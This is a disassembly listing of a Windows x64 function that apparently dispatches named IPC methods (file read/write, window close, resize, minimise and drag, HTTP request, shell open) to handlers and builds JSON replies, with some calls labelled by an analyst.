LAB_1400064cb:
1400064cb48 89 b4 24 18 01 00 00MOV qword ptr [RSP + local_180[0]],RSI
1400064d3e8 08 94 01 00CALL FUN_14001f8e0; FUN_14001f8e0: free
LAB_1400064d8:
1400064d848 8b 94 24 f8 00 00 00MOV RDX,qword ptr [RSP + local_1a0[0]]
1400064e048 85 d2TEST RDX,RDX
1400064e374 1aJZ LAB_1400064ff
1400064e548 8d 8c 24 f8 00 00 00LEA RCX,[RSP + 0xf8]
1400064ede8 ee 28 00 00CALL FUN_140008de0; FUN_140008de0: free
1400064f248 8b 8c 24 f8 00 00 00MOV RCX,qword ptr [RSP + 0xf8]
1400064fae8 e1 93 01 00CALL FUN_14001f8e0; FUN_14001f8e0: free
LAB_1400064ff:
1400064fff6 84 24 e0 00 00 00 01TEST byte ptr [RSP + local_1c8[16]],0x1
14000650774 0dJZ LAB_140006516
14000650948 8b 8c 24 f0 00 00 00MOV RCX,qword ptr [RSP + local_1b0[8]]
140006511e8 ca 93 01 00CALL FUN_14001f8e0; FUN_14001f8e0: free
LAB_140006516:
140006516f6 84 24 30 01 00 00 01TEST byte ptr [RSP + local_168],0x1
14000651e0f 84 d9 04 00 00JZ LAB_1400069fd
14000652448 8b 8c 24 40 01 00 00MOV RCX,qword ptr [RSP + local_158]
14000652ce9 c7 04 00 00JMP LAB_1400069f8
LAB_140006531:
14000653148 85 c0TEST RAX,RAX
1400065340f 84 16 04 00 00JZ LAB_140006950
14000653a31 f6XOR ESI,ESI
14000653c83 38 03CMP dword ptr [RAX],0x3
14000653ff2 48 0f 2c 40 08CVTTSD2SI RAX,qword ptr [RAX + 0x8]
14000654548 0f 44 f0CMOVZ RSI,RAX
14000654966 c7 84 24 20 02 00 00 …MOV word ptr [RSP + local_78],0x0
14000655348 8d 8c 24 b8 00 00 00LEA RCX,[RSP + 0xb8]
14000655b4c 8d 84 24 20 02 00 00LEA R8,[RSP + 0x220]
140006563e8 a8 17 00 00CALL FUN_140007d10; FUN_140007d10: strlen, memcpy
140006568c6 84 24 d8 01 00 00 0cMOV byte ptr [RSP + local_c0],0xc
140006570c7 84 24 d9 01 00 00 70 …MOV dword ptr [RSP + local_bf],0x61726170
14000657b66 c7 84 24 dd 01 00 00 …MOV word ptr [RSP + local_bb],0x736d
140006585c6 84 24 df 01 00 00 00MOV byte ptr [RSP + local_b9],0x0
14000658d83 bc 24 78 01 00 00 06CMP dword ptr [RSP + local_120],0x6
14000659575 70JNZ LAB_140006607
14000659748 8b bc 24 b8 01 00 00MOV RDI,qword ptr [RSP + local_e8[8]]
14000659f48 8b 84 24 c0 01 00 00MOV RAX,qword ptr [RSP + local_d8[0]]
1400065a748 39 c7CMP RDI,RAX
1400065aa74 5bJZ LAB_140006607
1400065ac48 83 c7 18ADD RDI,0x18
1400065b0eb 31JMP LAB_1400065e3
LAB_1400065b2:
1400065b248 8b 4f f8MOV RCX,qword ptr [RDI + -0x8]
LAB_1400065b6:
1400065b68b 11MOV EDX,dword ptr [RCX]
1400065b833 94 24 d9 01 00 00XOR EDX,dword ptr [RSP + local_bf]
1400065bf0f b7 49 04MOVZX ECX,word ptr [RCX + 0x4]
1400065c366 33 8c 24 dd 01 00 00XOR CX,word ptr [RSP + local_bb]
1400065cb0f b7 c9MOVZX ECX,CX
1400065ce09 d1OR ECX,EDX
1400065d074 37JZ LAB_140006609
LAB_1400065d2:
1400065d248 8d 4f e8LEA RCX,[RDI + -0x18]
1400065d648 83 c7 70ADD RDI,0x70
1400065da48 83 c1 70ADD RCX,0x70
1400065de48 39 c1CMP RCX,RAX
1400065e174 24JZ LAB_140006607
LAB_1400065e3:
1400065e30f b6 4f e8MOVZX ECX,byte ptr [RDI + -0x18]
1400065e7f6 c1 01TEST CL,0x1
1400065ea74 06JZ LAB_1400065f2
1400065ec48 8b 57 f0MOV RDX,qword ptr [RDI + -0x10]
1400065f0eb 04JMP LAB_1400065f6
LAB_1400065f2:
1400065f289 caMOV EDX,ECX
1400065f4d1 eaSHR EDX,0x1
LAB_1400065f6:
1400065f648 83 fa 06CMP RDX,0x6
1400065fa75 d6JNZ LAB_1400065d2
1400065fcf6 c1 01TEST CL,0x1
1400065ff75 b1JNZ LAB_1400065b2
14000660148 8d 4f e9LEA RCX,[RDI + -0x17]
140006605eb afJMP LAB_1400065b6
LAB_140006607:
14000660731 ffXOR EDI,EDI
LAB_140006609:
1400066090f b6 84 24 b8 00 00 00MOVZX EAX,byte ptr [RSP + local_1e0]
140006611a8 01TEST AL,0x1
14000661374 0aJZ LAB_14000661f
14000661548 8b 8c 24 c0 00 00 00MOV RCX,qword ptr [RSP + local_1df[7]]
14000661deb 07JMP LAB_140006626
LAB_14000661f:
14000661f89 c1MOV ECX,EAX
140006621d0 e9SHR CL,0x1
1400066230f b6 c9MOVZX ECX,CL
LAB_140006626:
14000662648 83 c1 f9ADD RCX,-0x7
14000662a48 83 f9 05CMP RCX,0x5
14000662e0f 87 e6 01 00 00JA default
14000663448 8d 15 1d 8e 09 00LEA RDX,[switchdataD_14009f458]
14000663b48 63 0c 8aMOVSXD RCX,dword ptr [RDX + RCX*0x4]
14000663f48 01 d1ADD RCX,RDX
140006642ff e1JMP RCX
caseD_7:
140006644a8 01TEST AL,0x1
1400066460f 84 81 01 00 00JZ LAB_1400067cd
14000664c48 8b 84 24 c8 00 00 00MOV RAX,qword ptr [RSP + local_1d0]
140006654e9 7c 01 00 00JMP LAB_1400067d5
caseD_b:
140006659a8 01TEST AL,0x1
14000665b0f 84 bc 00 00 00JZ LAB_14000671d
14000666148 8b 84 24 c8 00 00 00MOV RAX,qword ptr [RSP + local_1d0]
140006669e9 b7 00 00 00JMP LAB_140006725
caseD_9:
14000666ea8 01TEST AL,0x1
1400066700f 84 e3 00 00 00JZ LAB_140006759
14000667648 8b 84 24 c8 00 00 00MOV RAX,qword ptr [RSP + local_1d0]
14000667ee9 de 00 00 00JMP LAB_140006761
caseD_a:
140006683a8 01TEST AL,0x1
1400066850f 84 11 01 00 00JZ LAB_14000679c
14000668b48 8b 84 24 c8 00 00 00MOV RAX,qword ptr [RSP + local_1d0]
140006693e9 0c 01 00 00JMP LAB_1400067a4
caseD_8:
140006698a8 01TEST AL,0x1
14000669a0f 84 5f 01 00 00JZ LAB_1400067ff
1400066a048 8b 84 24 c8 00 00 00MOV RAX,qword ptr [RSP + local_1d0]
1400066a8e9 5a 01 00 00JMP LAB_140006807
caseD_c:
1400066ada8 01TEST AL,0x1
1400066af48 8b 8c 24 c8 00 00 00MOV RCX,qword ptr [RSP + local_1d0]
1400066b748 8d 94 24 b9 00 00 00LEA RDX,[RSP + 0xb9]
1400066bf49 89 c8MOV R8,RCX
1400066c24c 0f 44 c2CMOVZ R8,RDX
1400066c649 b9 68 74 74 70 2e 72 …MOV R9,0x7165722e70747468
1400066d04d 33 08XOR R9,qword ptr [R8]
1400066d345 8b 40 08MOV R8D,dword ptr [R8 + local_1df[8]]
1400066d749 81 f0 75 65 73 74XOR R8,0x74736575
1400066de4d 09 c8OR R8,R9
1400066e10f 84 86 03 00 00JZ LAB_140006a6d
1400066e7a8 01TEST AL,0x1
1400066e948 0f 44 caCMOVZ RCX,RDX
1400066ed48 b8 66 73 2e 77 72 69 …MOV RAX,0x65746972772e7366
1400066f748 33 01XOR RAX,qword ptr [RCX]
1400066fa8b 49 08MOV ECX,dword ptr [RCX + local_1df[8]]
1400066fd48 81 f1 54 65 78 74XOR RCX,0x74786554
14000670448 09 c1OR RCX,RAX
1400067070f 85 0d 01 00 00JNZ default
14000670d48 89 f1MOV RCX,RSI
14000671048 89 faMOV RDX,RDI
140006713e8 98 d1 ff ffCALL file_writer; → file_writer (B9, E16)
140006718e9 00 02 00 00JMP LAB_14000691d
LAB_14000671d:
14000671d48 8d 84 24 b9 00 00 00LEA RAX,[RSP + 0xb9]
LAB_140006725:
14000672548 b9 66 73 2e 72 65 61 …MOV RCX,0x54646165722e7366
14000672f48 33 08XOR RCX,qword ptr [RAX]
14000673248 ba 72 65 61 64 54 65 …MOV RDX,0x7478655464616572
14000673c48 33 50 03XOR RDX,qword ptr [RAX + local_1df[3]]
14000674048 09 caOR RDX,RCX
1400067430f 85 d1 00 00 00JNZ default
14000674948 89 f1MOV RCX,RSI
14000674c48 89 faMOV RDX,RDI
14000674fe8 7c cc ff ffCALL file_reader; → file_reader (B9, E15)
140006754e9 c4 01 00 00JMP LAB_14000691d
LAB_140006759:
14000675948 8d 84 24 b9 00 00 00LEA RAX,[RSP + 0xb9]
LAB_140006761:
14000676148 b9 77 69 6e 2e 63 6c …MOV RCX,0x736f6c632e6e6977
14000676b48 33 08XOR RCX,qword ptr [RAX]
14000676e0f b6 40 08MOVZX EAX,byte ptr [RAX + local_1df[8]]
14000677248 83 f0 65XOR RAX,0x65
14000677648 09 c8OR RAX,RCX
1400067790f 85 9b 00 00 00JNZ default
14000677f48 8b 0d ca 2c 0c 00MOV RCX,qword ptr [DAT_1400c9450]
140006786ba 10 00 00 00MOV EDX,0x10
14000678b45 31 c0XOR R8D,R8D
14000678e45 31 c9XOR R9D,R9D
140006791ff 15 d9 bb 0a 00CALL qword ptr [PTR_PostMessageW_1400b2370]
140006797e9 3d 01 00 00JMP LAB_1400068d9
LAB_14000679c:
14000679c48 8d 84 24 b9 00 00 00LEA RAX,[RSP + 0xb9]
LAB_1400067a4:
1400067a448 b9 77 69 6e 2e 72 65 …MOV RCX,0x697365722e6e6977
1400067ae48 33 08XOR RCX,qword ptr [RAX]
1400067b10f b7 40 08MOVZX EAX,word ptr [RAX + local_1df[8]]
1400067b548 35 7a 65 00 00XOR RAX,0x657a
1400067bb48 09 c8OR RAX,RCX
1400067be75 5aJNZ default
1400067c048 89 f9MOV RCX,RDI
1400067c3e8 18 c9 ff ffCALL edge_handler; → edge_handler
1400067c8e9 0c 01 00 00JMP LAB_1400068d9
LAB_1400067cd:
1400067cd48 8d 84 24 b9 00 00 00LEA RAX,[RSP + 0xb9]
LAB_1400067d5:
1400067d5b9 77 69 6e 2eMOV ECX,0x2e6e6977
1400067da33 08XOR ECX,dword ptr [RAX]
1400067dcba 2e 6d 69 6eMOV EDX,0x6e696d2e
1400067e133 50 03XOR EDX,dword ptr [RAX + local_1df[3]]
1400067e409 caOR EDX,ECX
1400067e675 32JNZ default
1400067e848 8b 0d 61 2c 0c 00MOV RCX,qword ptr [DAT_1400c9450]
1400067efba 06 00 00 00MOV EDX,0x6
1400067f4ff 15 be bb 0a 00CALL qword ptr [PTR_ShowWindow_1400b23b8]
1400067fae9 da 00 00 00JMP LAB_1400068d9
LAB_1400067ff:
1400067ff48 8d 84 24 b9 00 00 00LEA RAX,[RSP + 0xb9]
LAB_140006807:
14000680748 b9 77 69 6e 2e 64 72 …MOV RCX,0x676172642e6e6977
14000681148 39 08CMP qword ptr [RAX],RCX
1400068140f 84 85 00 00 00JZ LAB_14000689f
default:
14000681a48 8d 15 f9 52 09 00LEA RDX,[s_shell.open_14009bb1a]; "shell.open"
14000682148 8d 8c 24 b8 00 00 00LEA RCX,[RSP + 0xb8]
140006829e8 d2 23 00 00CALL FUN_140008c00; FUN_140008c00: strlen, memcmp
14000682e84 c0TEST AL,AL
14000683074 10JZ LAB_140006842
14000683248 89 f1MOV RCX,RSI
14000683548 89 faMOV RDX,RDI
140006838e8 d3 d3 ff ffCALL url_launcher; → url_launcher (B5, E6)
14000683de9 db 00 00 00JMP LAB_14000691d
LAB_140006842:
14000684248 8d 15 12 50 09 00LEA RDX,[DAT_14009b85b]
14000684948 8d 4c 24 30LEA RCX,[RSP + 0x30]
14000684ee8 4d e7 ff ffCALL FUN_140004fa0; FUN_140004fa0: strlen, memmove
14000685348 8d 15 cb 52 09 00LEA RDX,[s_unknown_method:_14009bb25]; "unknown method: "
14000685a48 8d 8c 24 d0 00 00 00LEA RCX,[RSP + 0xd0]
1400068624c 8d 84 24 b8 00 00 00LEA R8,[RSP + 0xb8]
14000686ae8 81 c6 00 00CALL FUN_140012ef0; FUN_140012ef0: strlen, memcpy, memmove
14000686f4c 8d 44 24 30LEA R8,[RSP + 0x30]
1400068744c 8d 8c 24 d0 00 00 00LEA R9,[RSP + 0xd0]
14000687c48 89 f1MOV RCX,RSI
14000687f31 d2XOR EDX,EDX
140006881e8 7a c0 ff ffCALL json_response_builder; → json_response_builder (B10, E19)
140006886f6 84 24 d0 00 00 00 01TEST byte ptr [RSP + local_1c8[0]],0x1
14000688e74 7cJZ LAB_14000690c
14000689048 8b 8c 24 e0 00 00 00MOV RCX,qword ptr [RSP + local_1c8[16]]
140006898e8 43 90 01 00CALL FUN_14001f8e0; FUN_14001f8e0: free
14000689deb 6dJMP LAB_14000690c
LAB_14000689f:
14000689f48 8d 4c 24 30LEA RCX,[RSP + 0x30]
1400068a4ff 15 86 ba 0a 00CALL qword ptr [PTR_GetCursorPos_1400b2330]
1400068aaff 15 d8 ba 0a 00CALL qword ptr [PTR_ReleaseCapture_1400b2388]
1400068b048 8b 0d 99 2b 0c 00MOV RCX,qword ptr [DAT_1400c9450]
1400068b70f b7 44 24 30MOVZX EAX,word ptr [RSP + local_268[0]]
1400068bc44 8b 4c 24 34MOV R9D,dword ptr [RSP + local_268[4]]
1400068c141 c1 e1 10SHL R9D,0x10
1400068c541 09 c1OR R9D,EAX
1400068c841 b8 02 00 00 00MOV R8D,0x2
1400068ceba a1 00 00 00MOV EDX,0xa1
1400068d3ff 15 bf ba 0a 00CALL qword ptr [PTR_SendMessageW_1400b2398]
LAB_1400068d9:
1400068d9c6 44 24 30 08MOV byte ptr [RSP + local_268[0]],0x8
1400068dec7 44 24 31 74 72 75 65MOV dword ptr [RSP + local_268[1]],0x65757274
1400068e6c6 44 24 35 00MOV byte ptr [RSP + local_268[5]],0x0
1400068eb66 c7 84 24 d0 00 00 00 …MOV word ptr [RSP + local_1c8[0]],0x0
1400068f54c 8d 44 24 30LEA R8,[RSP + 0x30]
1400068fa4c 8d 8c 24 d0 00 00 00LEA R9,[RSP + 0xd0]
14000690248 89 f1MOV RCX,RSI
140006905b2 01MOV DL,offset DAT_14009f401
140006907e8 f4 bf ff ffCALL json_response_builder; → json_response_builder (B10, E19)
LAB_14000690c:
14000690cf6 44 24 30 01TEST byte ptr [RSP + local_268[0]],0x1
14000691174 0aJZ LAB_14000691d
14000691348 8b 4c 24 40MOV RCX,qword ptr [RSP + local_268[16]]
140006918e8 c3 8f 01 00CALL FUN_14001f8e0; FUN_14001f8e0: free
LAB_14000691d:
14000691df6 84 24 d8 01 00 00 01TEST byte ptr [RSP + local_c0],0x1
1400069250f 85 07 01 00 00JNZ LAB_140006a32
14000692bf6 84 24 b8 00 00 00 01TEST byte ptr [RSP + local_1e0],0x1
1400069330f 85 14 01 00 00JNZ LAB_140006a4d
LAB_140006939:
140006939f6 84 24 20 02 00 00 01TEST byte ptr [RSP + local_78],0x1
14000694174 0dJZ LAB_140006950
LAB_140006943:
14000694348 8b 8c 24 30 02 00 00MOV RCX,qword ptr [RSP + local_68]
14000694be8 90 8f 01 00CALL FUN_14001f8e0; FUN_14001f8e0: free
LAB_140006950:
14000695048 8b b4 24 b8 01 00 00MOV RSI,qword ptr [RSP + local_e8[8]]
14000695848 85 f6TEST RSI,RSI
14000695b74 4bJZ LAB_1400069a8
14000695d48 8b bc 24 c0 01 00 00MOV RDI,qword ptr [RSP + local_d8[0]]
14000696548 89 f1MOV RCX,RSI
14000696848 39 feCMP RSI,RDI
14000696b75 0cJNZ LAB_140006979
14000696deb 2cJMP LAB_14000699b
LAB_140006970:
14000697048 83 c7 90ADD RDI,-0x70
14000697448 39 f7CMP RDI,RSI
14000697774 1aJZ LAB_140006993
LAB_140006979:
14000697948 8d 4f a8LEA RCX,[RDI + -0x58]
14000697de8 2e 13 00 00CALL FUN_140007cb0; FUN_140007cb0: free
140006982f6 47 90 01TEST byte ptr [RDI + -0x70],0x1
14000698674 e8JZ LAB_140006970
14000698848 8b 4f a0MOV RCX,qword ptr [RDI + -0x60]
14000698ce8 4f 8f 01 00CALL FUN_14001f8e0; FUN_14001f8e0: free
140006991eb ddJMP LAB_140006970
LAB_140006993:
14000699348 8b 8c 24 b8 01 00 00MOV RCX,qword ptr [RSP + local_e8[8]]
LAB_14000699b:
14000699b48 89 b4 24 c0 01 00 00MOV qword ptr [RSP + local_d8[0]],RSI
1400069a3e8 38 8f 01 00CALL FUN_14001f8e0; FUN_14001f8e0: free
LAB_1400069a8:
1400069a848 8b 94 24 a0 01 00 00MOV RDX,qword ptr [RSP + local_f8[0]]
1400069b048 85 d2TEST RDX,RDX
1400069b374 1aJZ LAB_1400069cf
1400069b548 8d 8c 24 a0 01 00 00LEA RCX,[RSP + 0x1a0]
1400069bde8 1e 24 00 00CALL FUN_140008de0; FUN_140008de0: free
1400069c248 8b 8c 24 a0 01 00 00MOV RCX,qword ptr [RSP + 0x1a0]
1400069cae8 11 8f 01 00CALL FUN_14001f8e0; FUN_14001f8e0: free
LAB_1400069cf:
1400069cff6 84 24 88 01 00 00 01TEST byte ptr [RSP + local_118[8]],0x1
1400069d774 0dJZ LAB_1400069e6
1400069d948 8b 8c 24 98 01 00 00MOV RCX,qword ptr [RSP + local_108[8]]
1400069e1e8 fa 8e 01 00CALL FUN_14001f8e0; FUN_14001f8e0: free
LAB_1400069e6:
1400069e6f6 84 24 f0 01 00 00 01TEST byte ptr [RSP + local_a8],0x1
1400069ee74 0dJZ LAB_1400069fd
1400069f048 8b 8c 24 00 02 00 00MOV RCX,qword ptr [RSP + local_98]
LAB_1400069f8:
1400069f8e8 e3 8e 01 00CALL FUN_14001f8e0; FUN_14001f8e0: free
LAB_1400069fd:
1400069fdf6 84 24 48 01 00 00 01TEST byte ptr [RSP + local_150],0x1
140006a0574 0dJZ LAB_140006a14
140006a0748 8b 8c 24 58 01 00 00MOV RCX,qword ptr [RSP + local_140]
140006a0fe8 cc 8e 01 00CALL FUN_14001f8e0; FUN_14001f8e0: free
LAB_140006a14:
140006a1431 c0XOR EAX,EAX
140006a160f 28 b4 24 40 02 00 00MOVAPS XMM6,xmmword ptr [RSP + local_58[0]]
140006a1e48 81 c4 58 02 00 00ADD RSP,0x258
140006a255bPOP RBX
140006a265dPOP RBP
140006a275fPOP RDI
140006a285ePOP RSI
140006a2941 5cPOP R12
140006a2b41 5dPOP R13
140006a2d41 5ePOP R14
140006a2f41 5fPOP R15
140006a31c3RET
LAB_140006a32:
140006a3248 8b 8c 24 e8 01 00 00MOV RCX,qword ptr [RSP + local_b0]
140006a3ae8 a1 8e 01 00CALL FUN_14001f8e0; FUN_14001f8e0: free
140006a3ff6 84 24 b8 00 00 00 01TEST byte ptr [RSP + local_1e0],0x1
140006a470f 84 ec fe ff ffJZ LAB_140006939
LAB_140006a4d:
140006a4d48 8b 8c 24 c8 00 00 00MOV RCX,qword ptr [RSP + local_1d0]
140006a55e8 86 8e 01 00CALL FUN_14001f8e0; FUN_14001f8e0: free
140006a5af6 84 24 20 02 00 00 01TEST byte ptr [RSP + local_78],0x1
140006a620f 85 db fe ff ffJNZ LAB_140006943
140006a68e9 e3 fe ff ffJMP LAB_140006950
LAB_140006a6d:
140006a6d48 85 ffTEST RDI,RDI
140006a700f 84 8b 00 00 00JZ LAB_140006b01
140006a76c6 44 24 30 06MOV byte ptr [RSP + local_268[0]],0x6
140006a7b66 c7 44 24 31 75 72MOV word ptr [RSP + local_268[1]],0x7275
140006a82c6 44 24 33 6cMOV byte ptr [RSP + local_268[3]],0x6c
140006a8783 3f 06CMP dword ptr [RDI],0x6
140006a8a0f 85 21 01 00 00JNZ LAB_140006bb1
140006a904c 8b 77 40MOV R14,qword ptr [RDI + 0x40]
140006a9448 8b 47 48MOV RAX,qword ptr [RDI + 0x48]
140006a9849 39 c6CMP R14,RAX
140006a9b0f 84 10 01 00 00JZ LAB_140006bb1
140006aa149 83 c6 18ADD R14,0x18
140006aa5eb 35JMP LAB_140006adc
LAB_140006aa7:
140006aa749 8b 4e f8MOV RCX,qword ptr [R14 + -0x8]
LAB_140006aab:
140006aab0f b7 11MOVZX EDX,word ptr [RCX]
140006aae66 33 54 24 31XOR DX,word ptr [RSP + local_268[1]]
140006ab30f b6 49 02MOVZX ECX,byte ptr [RCX + 0x2]
140006ab732 4c 24 33XOR CL,byte ptr [RSP + local_268[3]]
140006abb0f b6 c9MOVZX ECX,CL
140006abe66 09 d1OR CX,DX
140006ac10f 84 91 00 00 00JZ LAB_140006b58
LAB_140006ac7:
140006ac749 8d 4e e8LEA RCX,[R14 + -0x18]
140006acb49 83 c6 70ADD R14,0x70
140006acf48 83 c1 70ADD RCX,0x70
140006ad348 39 c1CMP RCX,RAX
140006ad60f 84 d5 00 00 00JZ LAB_140006bb1
LAB_140006adc:
140006adc41 0f b6 4e e8MOVZX ECX,byte ptr [R14 + -0x18]
140006ae1f6 c1 01TEST CL,0x1
140006ae474 06JZ LAB_140006aec
140006ae649 8b 56 f0MOV RDX,qword ptr [R14 + -0x10]
140006aeaeb 04JMP LAB_140006af0
LAB_140006aec:
140006aec89 caMOV EDX,ECX
140006aeed1 eaSHR EDX,0x1
LAB_140006af0:
140006af048 83 fa 03CMP RDX,0x3
140006af475 d1JNZ LAB_140006ac7
140006af6f6 c1 01TEST CL,0x1
140006af975 acJNZ LAB_140006aa7
140006afb49 8d 4e e9LEA RCX,[R14 + -0x17]
140006affeb aaJMP LAB_140006aab
LAB_140006b01:
140006b0166 c7 44 24 30 00 00MOV word ptr [RSP + local_268[0]],0x0
140006b08c6 84 24 d0 00 00 00 1eMOV byte ptr [RSP + local_1c8[0]],0x1e
140006b1048 b8 70 61 72 61 6d 73 …MOV RAX,0x7220736d61726170
140006b1a48 89 84 24 d1 00 00 00MOV qword ptr [RSP + local_1c8[1]],RAX
140006b2248 b8 72 65 71 75 69 72 …MOV RAX,0x6465726975716572
140006b2c48 89 84 24 d8 00 00 00MOV qword ptr [RSP + local_1c8[8]],RAX
140006b34c6 84 24 e0 00 00 00 00MOV byte ptr [RSP + local_1c8[16]],0x0
140006b3c4c 8d 44 24 30LEA R8,[RSP + 0x30]
140006b414c 8d 8c 24 d0 00 00 00LEA R9,[RSP + 0xd0]
140006b4948 89 f1MOV RCX,RSI
140006b4c31 d2XOR EDX,EDX
140006b4ee8 ad bd ff ffCALL json_response_builder; → json_response_builder (B10, E19)
140006b53e9 b4 fd ff ffJMP LAB_14000690c
LAB_140006b58:
140006b5866 c7 84 24 d0 00 00 00 …MOV word ptr [RSP + local_1c8[0]],0x0
140006b6248 8d 4c 24 30LEA RCX,[RSP + 0x30]
140006b674c 8d 84 24 d0 00 00 00LEA R8,[RSP + 0xd0]
140006b6f4c 89 f2MOV RDX,R14
140006b72e8 99 11 00 00CALL FUN_140007d10; FUN_140007d10: strlen, memcpy
140006b770f b6 44 24 30MOVZX EAX,byte ptr [RSP + local_268[0]]
140006b7c89 c3MOV EBX,EAX
140006b7ed1 ebSHR EBX,0x1
140006b80a8 01TEST AL,0x1
140006b8274 7dJZ LAB_140006c01
140006b8448 8b 5c 24 38MOV RBX,qword ptr [RSP + local_268[8]]
140006b8974 78JZ LAB_140006c03
LAB_140006b8b:
140006b8b48 8b 4c 24 40MOV RCX,qword ptr [RSP + local_268[16]]
140006b90e8 4b 8d 01 00CALL FUN_14001f8e0; FUN_14001f8e0: free
140006b95f6 84 24 d0 00 00 00 01TEST byte ptr [RSP + local_1c8[0]],0x1
140006b9d74 6eJZ LAB_140006c0d
LAB_140006b9f:
140006b9f48 8b 8c 24 e0 00 00 00MOV RCX,qword ptr [RSP + local_1c8[16]]
140006ba7e8 34 8d 01 00CALL FUN_14001f8e0; FUN_14001f8e0: free
140006bac48 85 dbTEST RBX,RBX
140006baf75 61JNZ LAB_140006c12
LAB_140006bb1:
140006bb166 c7 44 24 30 00 00MOV word ptr [RSP + local_268[0]],0x0
140006bb8c6 84 24 d0 00 00 00 18MOV byte ptr [RSP + local_1c8[0]],0x18
140006bc048 b8 75 72 6c 20 72 65 …MOV RAX,0x75716572206c7275
140006bca48 89 84 24 d1 00 00 00MOV qword ptr [RSP + local_1c8[1]],RAX
140006bd2c7 84 24 d9 00 00 00 69 …MOV dword ptr [RSP + local_1c8[9]],0x64657269
140006bddc6 84 24 dd 00 00 00 00MOV byte ptr [RSP + local_1c8[13]],0x0
140006be54c 8d 44 24 30LEA R8,[RSP + 0x30]
140006bea4c 8d 8c 24 d0 00 00 00LEA R9,[RSP + 0xd0]
140006bf248 89 f1MOV RCX,RSI
140006bf531 d2XOR EDX,EDX
140006bf7e8 04 bd ff ffCALL json_response_builder; → json_response_builder (B10, E19)
140006bfce9 0b fd ff ffJMP LAB_14000690c
LAB_140006c01:
140006c0175 88JNZ LAB_140006b8b
LAB_140006c03:
140006c03f6 84 24 d0 00 00 00 01TEST byte ptr [RSP + local_1c8[0]],0x1
140006c0b75 92JNZ LAB_140006b9f
LAB_140006c0d:
140006c0d48 85 dbTEST RBX,RBX
140006c1074 9fJZ LAB_140006bb1
LAB_140006c12:
140006c12b9 68 00 00 00MOV ECX,0x68
140006c17e8 e4 8b 01 00CALL FUN_14001f800; FUN_14001f800: malloc
140006c1c48 89 c3MOV RBX,RAX
140006c1f0f 57 c0XORPS XMM0,XMM0
140006c220f 29 00MOVAPS xmmword ptr [RAX],XMM0
140006c250f 29 40 50MOVAPS xmmword ptr [RAX + 0x50],XMM0
140006c290f 29 40 40MOVAPS xmmword ptr [RAX + 0x40],XMM0
140006c2d0f 29 40 30MOVAPS xmmword ptr [RAX + 0x30],XMM0
140006c310f 29 40 20MOVAPS xmmword ptr [RAX + 0x20],XMM0
140006c350f 29 40 10MOVAPS xmmword ptr [RAX + 0x10],XMM0
140006c3948 c7 40 60 00 00 00 00MOV qword ptr [RAX + 0x60],0x0
140006c4148 89 30MOV qword ptr [RAX],RSI
140006c4466 c7 84 24 a0 00 00 00 …MOV word ptr [RSP + local_1f8[0]],0x0
140006c4e48 8d 8c 24 d0 00 00 00LEA RCX,[RSP + 0xd0]
140006c564c 8d 84 24 a0 00 00 00LEA R8,[RSP + 0xa0]
140006c5e4c 89 f2MOV RDX,R14
140006c61e8 aa 10 00 00CALL FUN_140007d10; FUN_140007d10: strlen, memcpy
140006c6648 8d 4c 24 30LEA RCX,[RSP + 0x30]
140006c6b48 8d 94 24 d0 00 00 00LEA RDX,[RSP + 0xd0]
140006c73e8 b8 c1 ff ffCALL FUN_140002e30; FUN_140002e30: MultiByteToWideChar
140006c784c 8d 63 08LEA R12,[RBX + 0x8]
140006c7c41 f6 04 24 01TEST byte ptr [R12],0x1
140006c8174 09JZ LAB_140006c8c
140006c8348 8b 4b 18MOV RCX,qword ptr [RBX + 0x18]
140006c87e8 54 8c 01 00CALL FUN_14001f8e0; FUN_14001f8e0: free
LAB_140006c8c:
140006c8c48 8b 44 24 40MOV RAX,qword ptr [RSP + local_268[16]]
140006c9149 89 44 24 10MOV qword ptr [R12 + 0x10],RAX
140006c960f 10 44 24 30MOVUPS XMM0,xmmword ptr [RSP + local_268[0]]
140006c9b41 0f 11 04 24MOVUPS xmmword ptr [R12],XMM0
140006ca0c6 44 24 30 00MOV byte ptr [RSP + local_268[0]],0x0
140006ca566 c7 44 24 32 00 00MOV word ptr [RSP + local_268[2]],0x0
140006cacf6 84 24 d0 00 00 00 01TEST byte ptr [RSP + local_1c8[0]],0x1
140006cb474 0dJZ LAB_140006cc3
140006cb648 8b 8c 24 e0 00 00 00MOV RCX,qword ptr [RSP + local_1c8[16]]
140006cbee8 1d 8c 01 00CALL FUN_14001f8e0; FUN_14001f8e0: free
LAB_140006cc3:
140006cc3f6 84 24 a0 00 00 00 01TEST byte ptr [RSP + local_1f8[0]],0x1
140006ccb74 0dJZ LAB_140006cda
140006ccd48 8b 8c 24 b0 00 00 00MOV RCX,qword ptr [RSP + local_1e8]
140006cd5e8 06 8c 01 00CALL FUN_14001f8e0; FUN_14001f8e0: free
LAB_140006cda:
140006cdac6 44 24 30 0cMOV byte ptr [RSP + local_268[0]],0xc
140006cdfc7 44 24 31 6d 65 74 68MOV dword ptr [RSP + local_268[1]],0x6874656d
140006ce766 c7 44 24 35 6f 64MOV word ptr [RSP + local_268[5]],0x646f
140006cee8b 07MOV EAX,dword ptr [RDI]
140006cf083 f8 06CMP EAX,0x6
140006cf30f 85 07 01 00 00JNZ LAB_140006e00
140006cf948 8b 57 40MOV RDX,qword ptr [RDI + 0x40]
140006cfd48 8b 4f 48MOV RCX,qword ptr [RDI + 0x48]
140006d0148 39 caCMP RDX,RCX
140006d040f 84 f6 00 00 00JZ LAB_140006e00
140006d0a48 83 c2 18ADD RDX,0x18
140006d0eeb 35JMP LAB_140006d45
LAB_140006d10:
140006d104c 8b 42 f8MOV R8,qword ptr [RDX + -0x8]
LAB_140006d14:
140006d1445 8b 08MOV R9D,dword ptr [R8]
140006d1744 33 4c 24 31XOR R9D,dword ptr [RSP + local_268[1]]
140006d1c45 0f b7 40 04MOVZX R8D,word ptr [R8 + 0x4]
140006d2166 44 33 44 24 35XOR R8W,word ptr [RSP + local_268[5]]
140006d2745 0f b7 c0MOVZX R8D,R8W
140006d2b45 09 c8OR R8D,R9D
140006d2e74 3eJZ LAB_140006d6e
LAB_140006d30:
140006d304c 8d 42 e8LEA R8,[RDX + -0x18]
140006d3448 83 c2 70ADD RDX,0x70
140006d3849 83 c0 70ADD R8,0x70
140006d3c49 39 c8CMP R8,RCX
140006d3f0f 84 bb 00 00 00JZ LAB_140006e00
LAB_140006d45:
140006d4544 0f b6 42 e8MOVZX R8D,byte ptr [RDX + -0x18]
140006d4a41 f6 c0 01TEST R8B,0x1
140006d4e74 06JZ LAB_140006d56
140006d504c 8b 4a f0MOV R9,qword ptr [RDX + -0x10]
